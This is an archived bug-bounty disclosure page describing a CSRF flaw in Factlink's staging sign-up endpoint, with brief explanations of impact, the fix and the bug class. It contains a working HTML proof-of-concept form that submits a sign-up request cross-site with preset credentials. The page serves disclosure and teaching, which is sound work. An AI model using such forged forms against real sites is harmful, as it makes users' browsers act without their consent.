Skip to content
CSRF Disclosed report Beginner

Sign up CSRF

The sign-up endpoint accepted a cross-site form submission, so an attacker could force a victim's browser to create an account and land them on the home dashboard. The report claims the authenticity token present in the form did not prevent the cross-site request.

chandrakant Follow

Originally disclosed on HackerOne

  • Triaged in 27 hours
  • Fixed in 5 days
  • Disclosed after 9 days

Any user can be forced to sign up and presented with a home dash board . here is the csrf

<html> <!-- CSRF PoC Chandrakant --> <body> <form action="https://staging.factlink.com/users/sign_in_or_up/up" method="POST"> <input type="hidden" name="utf8" value="â&#156;&#147;" /> <input type="hidden" name="authenticity&#95;token" value="mDOtU6Iz1eYGyFYolgEMlTEcX0JGiO1Y1iCWbIb6qhY&#61;" /> <input type="hidden" name="user&#95;new&#95;account&#91;full&#95;name&#93;" value="test" /> <input type="hidden" name="user&#95;new&#95;account&#91;email&#93;" value="test&#64;gmail&#46;com" /> <input type="hidden" name="user&#95;new&#95;account&#91;password&#93;" value="chandra2123" /> <input type="hidden" name="user&#95;new&#95;account&#91;password&#95;confirmation&#93;" value="chandra&#64;123" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Save this any name.html and then double clik you will be presented as home panel authentication token is there but that is not preventing csrf issue .

Remediation : Use CSRF token .

Thanks CKN

The original report as published on HackerOne, by chandrakant. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could force a victim to create an account on the site and be shown the home dashboard, though the report does not show any further harm beyond that.

What the attacker needed

Victim opens a malicious HTML page; victim's browser sends the form

The fix

The sign-up endpoint should use a CSRF token to prevent cross-site submissions.

How it was found

  1. Save the provided HTML page locally.
  2. Open the saved file by double-clicking it in a browser.
  3. The sign-up form is submitted and the home dashboard is shown.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSRF (cross-site request forgery) is when a malicious page makes your browser send a request to another site while you are logged in or browsing it. Here a page with a hidden form could submit the sign-up request for the visitor without their intent. The report says a security token was in the form but it still did not stop the request.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from Factlink

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.